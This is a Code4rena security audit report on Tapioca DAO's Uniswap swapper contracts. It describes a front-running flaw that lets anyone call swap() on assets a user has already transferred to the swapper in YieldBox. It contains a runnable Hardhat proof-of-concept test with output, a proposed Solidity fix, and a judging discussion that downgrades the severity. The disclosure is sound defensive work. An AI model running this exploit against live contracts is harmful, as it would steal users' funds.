Attacker can steal user's assets before they do their swaps when using the UniswapV2Swapper & UniswapV3Swapper

[code423n4]

Lines of code

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/BaseSwapper.sol#L152-L161

Vulnerability details

Impact

• Attackers can steal the user assets before the users run their swaps using the UniswapSwappers.

Proof of Concept

• The UniswapV2Swapper::swap() & UniswapV3Swapper::swap() executes the BaseSwapper:_extractTokens() which it can withdraw assets from the yieldbox and debit them to the swapper contract.

  • The problem is that the Swapper contracts do not have a mechanism to check who transferred the assets to the Swapper in the YieldBox, therefore, whoever calls first the swap() will be allowed to use the assets that are debited to the Swappers contract in the YieldBox

• As demonstrated in the below coded PoC, if a user already has their tokens in the YieldBox and wants to do a swap, the user will transfer the assets that are deposited in the YieldBox to the Swapper contract, and then it will need to call the swap(), the problem is when an attacker calls first the swap() and steals the user's assets from the YieldBox.

Coded PoC

1. The first step is to add the attacker account in the test.utils.ts file, make sure to add it in the registerFork()

   
   > git diff --no-index test.utils.ts test.utils_PoC.ts

diff --git a/test.utils.ts b/test.utils_PoC.ts index 00fc388..5e7b19a 100755 --- a/test.utils.ts +++ b/test.utils_PoC.ts @@ -1496,6 +1496,8 @@ export async function registerFork() { binanceWallet = await ethers.getSigner(process.env.BINANCE_WALLET_ADDRESS!);

 const deployer = (await ethers.getSigners())[0];

• const attacker = new ethers.Wallet(ethers.Wallet.createRandom().privateKey,ethers.provider,);

• await setBalance(attacker.address, 100000);

  const usdcAddress = process.env.USDC!; const usdtAddress = process.env.USDT!; @@ -1589,6 +1591,7 @@ export async function registerFork() { usdcAssetId, usdtAssetId, deployer,

• attacker, binanceWallet, yieldBox, uniswapV2Swapper, @@ -1717,4 +1720,4 @@ const createSimpleSwapData = ( };

  return swapData; -}; +};

2. Create a new file to reproduce this PoC, swap_PoC.test.ts
   • Make sure to create this new test file under the tapioca-periph-audit/test/ folder

     
     import hre, { ethers } from 'hardhat';
     import { expect } from 'chai';
     import { loadFixture } from '@nomicfoundation/hardhat-network-helpers';
     import { BN, registerFork } from './test.utils';

describe('UniswapV2Swapper', () => { describe('Attacker steal user assets abusing the Swapper swap() function', () => { it('Attacker should swap assets available in YB', async () => { const { uniswapV2Swapper, yieldBox, deployer, attacker, binanceWallet, weth, usdc, wethAssetId, usdcAssetId, createYbSwapData, } = await loadFixture(registerFork);

        const amount = BN(1e18);
        const share = await yieldBox.toShare(wethAssetId, amount, false);

        await weth
            .connect(binanceWallet)
            .transfer(deployer.address, amount);
        await weth.approve(yieldBox.address, amount);
        await yieldBox.depositAsset(
            wethAssetId,
            deployer.address,
            deployer.address,
            0,
            share,
        );

        //@audit-info => User has WETH balance on the YieldBox before the attack
        const ybWethUserBalanceBefore = await yieldBox.balanceOf(
            deployer.address,
            wethAssetId,
        );
        expect(ybWethUserBalanceBefore.eq(share)).to.be.true;

        const ybUsdcUserBalanceBefore = await yieldBox.balanceOf(
            deployer.address,
            usdcAssetId,
        );
        expect(ybUsdcUserBalanceBefore.eq(0)).to.be.true;

        //@audit-info => Attacker has 0 balance of WETH and USDC on the YieldBox before the attack
        const ybWethAttackerBalanceBefore = await yieldBox.balanceOf(
            attacker.address,
            wethAssetId,
        );
        expect(ybWethAttackerBalanceBefore.eq(0)).to.be.true;

        const ybUsdcAttackerBalanceBefore = await yieldBox.balanceOf(
            attacker.address,
            usdcAssetId,
        );
        expect(ybUsdcAttackerBalanceBefore.eq(0)).to.be.true;

        console.log("Accounts before the attack");
        console.log("ybWethUserBalanceBefore: ", ybWethUserBalanceBefore);
        console.log("ybUsdcUserBalanceBefore: ", ybUsdcUserBalanceBefore);
        console.log("ybWethAttackerBalanceBefore: ", ybWethAttackerBalanceBefore);
        console.log("ybUsdcAttackerBalanceBefore: ", ybUsdcAttackerBalanceBefore);
        console.log("\n===================================================\n");

        const swapData = createYbSwapData(
            wethAssetId,
            usdcAssetId,
            share,
            0,
        );

        //@audit => User transfers the WETH asset to the Swapper in the YieldBox
        await yieldBox.transfer(
            deployer.address,
            uniswapV2Swapper.address,
            wethAssetId,
            share,
        );

        //@audit-issue
        //Here, the attacker executes first the swap and steals the user's asssets that were deposited in the YieldBox
        //await uniswapV2Swapper.connect(attacker).swap(swapData, 0, attacker.address, '0x');

        // await uniswapV2Swapper.swap(swapData, 0, deployer.address, '0x');
        await uniswapV2Swapper.connect(attacker).swap(swapData, 0, attacker.address, '0x');

        const ybWethUserBalanceAfter = await yieldBox.balanceOf(
            deployer.address,
            wethAssetId,
        );
        expect(ybWethUserBalanceAfter.eq(0)).to.be.true;

        const ybWetAttackerBalanceAfter = await yieldBox.balanceOf(
            attacker.address,
            wethAssetId,
        );
        expect(ybWetAttackerBalanceAfter.eq(0)).to.be.true;

        //@audit => user has 0 USDC balance in the YieldBox, and Attacker has all the swapped USDC on his account
        const ybUsdcUserBalanceAfter = await yieldBox.balanceOf(
            deployer.address,
            usdcAssetId,
        );
        expect(ybUsdcUserBalanceAfter.eq(0)).to.be.true;

        const ybUsdcAttackerBalanceAfter = await yieldBox.balanceOf(
            attacker.address,
            usdcAssetId,
        );
        expect(ybUsdcAttackerBalanceAfter.gt(0)).to.be.true;

        console.log("Accounts After the attack");
        console.log("ybWethUserBalanceAfter: ", ybWethUserBalanceAfter);
        console.log("ybWetAttackerBalanceAfter: ", ybWetAttackerBalanceAfter);
        console.log("ybUsdcUserBalanceAfter: ", ybUsdcUserBalanceAfter);
        console.log("ybUsdcAttackerBalanceAfter: ", ybUsdcAttackerBalanceAfter);
    });
});

});

3. After the 2 previous steps have been completed, everything is ready to run the PoC.
> npx hardhat test swap_PoC.test.ts

UniswapV2Swapper Attacker steal user assets abusing the Swapper swap() function Accounts before the attack ybWethUserBalanceBefore: BigNumber { value: "100000000000000000000000000" } ybUsdcUserBalanceBefore: BigNumber { value: "0" } ybWethAttackerBalanceBefore: BigNumber { value: "0" } ybUsdcAttackerBalanceBefore: BigNumber { value: "0" }

===================================================

Accounts After the attack ybWethUserBalanceAfter: BigNumber { value: "0" } ybWetAttackerBalanceAfter: BigNumber { value: "0" } ybUsdcUserBalanceAfter: BigNumber { value: "0" } ybUsdcAttackerBalanceAfter: BigNumber { value: "208042688800000000" } ✔ Attacker should swap assets available in YB (8593ms)

## Tools Used
Manual Audit

## Recommended Mitigation Steps
- In the [`BaseSwapper:_extractTokens()`](), when withdrawing the assets from the YieldBox, the `from` address should be the `msg.sender` instead of the Swapper contract
  - By extracting the assets from the `msg.sender`, now it is not required to transfer the assets into the Swapper contract before running the swap, now the function will do the transfer from the `msg.sender` to the Swapper contract in the YieldBox contract.

- This suggestion might require adding some extra logic to authorize the Swapper to spend the caller's assets on his behalf in the YieldBox.

```solidity
function _extractTokens(
    ISwapper.YieldBoxData calldata ybData,
    IYieldBox _yieldBox,
    address token,
    uint256 tokenId,
    uint256 amount,
    uint256 share
) internal returns (uint256) {
    if (ybData.withdrawFromYb) {
        (amount, share) = _yieldBox.withdraw(
            tokenId,
-           address(this),
+           msg.sender,
            address(this),
            amount,
            share
        );
        return amount;
    }
    IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    return amount;
}

Assessed type

Other

[c4-pre-sort]

minhquanym marked the issue as duplicate of #1044

[c4-judge]

dmvt changed the severity to QA (Quality Assurance)

[c4-judge]

dmvt marked the issue as grade-c

[dmvt]

Overinflated severity

[stalinMacias]

Hello @dmvt , Can I ask what is the reasoning behind the comment that this finding is an overinflated severity? Users' assets are at risk when doing swaps, I consider that to be a high severity.

As for the comment made in issue #1044, when I looked at the tests for this functionality I realized that an EOA was being used as the user, that lead me to think that EOAs were expected to use this functionality as well as contract accounts, that is why I wrote up in the recommendation to pull the assets from the caller instead of expecting the assets to be already transferred into the Swapper contract.

Could you take a second look at my report please?

[dmvt]

As a general rule I always mark High -> Low as overinflated. This is a low risk issue in my view. EOAs should not be doing this, making it user error if they do.

[stalinMacias]

@dmvt Have we got confirmation from the sponsor if this functionality is intended to be used only by Contract Accounts?

From what I can remember, I didn't see anywhere that those functions were intended to be used only by Contract accounts?

[cryptotechmaker]

Hello! The issue is indeed valid if the contract is used as a standalone one. However, the swappers implementation is supposed to be used inside our other contracts, and transfer + swap is called within the same method. So there won't be a transfer to the contract and then a swap

[dmvt]

Ruling stands. This is a user error / mistake. User should not call these functions directly. The sponsor should consider adding a notice to that effect in the code comments and other documentation.